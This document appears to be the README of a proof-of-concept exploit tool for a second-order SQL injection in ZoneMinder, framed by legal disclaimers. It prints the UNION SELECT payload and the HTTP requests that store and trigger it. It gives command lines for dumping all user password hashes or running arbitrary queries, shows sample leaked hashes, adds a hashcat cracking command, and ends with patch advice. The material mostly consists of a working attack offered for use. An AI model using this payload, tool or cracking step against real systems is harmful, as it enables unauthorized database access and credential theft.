⚠️ YASAL UYARI / LEGAL DISCLAIMERBu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
This tool is provided strictly for educational and authorized security research purposes. Using it against systems you do not own or do not have explicit written permission to test is illegal. Unauthorized access may violate laws such as the CFAA (US), Computer Misuse Act (UK), and equivalent legislation worldwide. The author assumes no liability for any misuse of this tool.
Proof-of-concept exploit for a second-order SQL injection vulnerability in ZoneMinder. An authenticated user with Events edit and view permissions can extract arbitrary data from the database — including all user credentials.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-27470 |
| Severity | HIGH — CVSS 8.8 |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Affected | ZoneMinder ≤ 1.36.37 and 1.37.61 – 1.38.0 |
| Fixed in | 1.36.38 / 1.38.1 |
| File | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: Improper Neutralization of SQL Commands |
| Auth Required | Yes — Events edit + view permission |
This is a textbook second-order (stored) SQL injection. The attack happens in two separate phases, which is why traditional scanners often miss it.
Phase 1 — Safe Write
The attacker renames an event with a malicious payload. ZoneMinder correctly uses a parameterized query here, so the payload is stored safely in the database without triggering any errors:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -// web/ajax/event.php — safe ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);At this point everything looks clean. The payload is sitting quietly in the Events.Name column.
Phase 2 — Vulnerable Read
The attacker triggers getNearEvents() by requesting the near events for the same event record. The function reads the stored Name value back from the database and concatenates it directly into a new SQL query without any escaping:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1// web/ajax/status.php ~line 460 — VULNERABLE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← injection point
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];The stored payload breaks out of the string context and the injected UNION SELECT executes, leaking data in the NextEventId field of the JSON response:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}The developer made a very common mistake: they correctly sanitized user input at write time, creating a false sense of security. The assumption that "data from our own database is safe" allowed the vulnerability to exist in the read path for years. WAFs and most automated scanners won't catch this because the write request looks completely clean.
pip install requests-t, --target Target URL (e.g. http://10.10.10.10:8080)
-u, --username ZoneMinder username
-p, --password ZoneMinder password
--event-id Event ID to use as injection carrier
--query Custom SQL query to execute
--dump-users Dump all usernames and password hashes
--field Injection field: Name (default) or Cause
--no-restore Do not restore event name after exploitation
# Check DB version (simplest test)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Dump all users and password hashes
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Inject via Cause field instead of Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Custom query
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attacker ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
- Confidentiality: Full database read — all user hashes, API keys, monitor configurations, system settings
- Integrity: Depending on database driver configuration, stacked queries may allow data modification
- Privilege Escalation: Crack the admin bcrypt hash offline and gain full ZoneMinder access
# Crack harvested hashes with hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txtEvents.Nameisvarchar(64)in the database — keep injection payloads under 63 characters- The injection result appears in
nearevents.NextEventIdin the JSON response - ZoneMinder uses bcrypt for password hashing (mode 3200 for hashcat)
- CSRF protection is handled automatically by the PoC
Update ZoneMinder to 1.36.38 or 1.38.1.
The fix is to use a parameterized query placeholder for the stored value instead of string concatenation:
// Before (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// After (fixed)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);This tool is for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.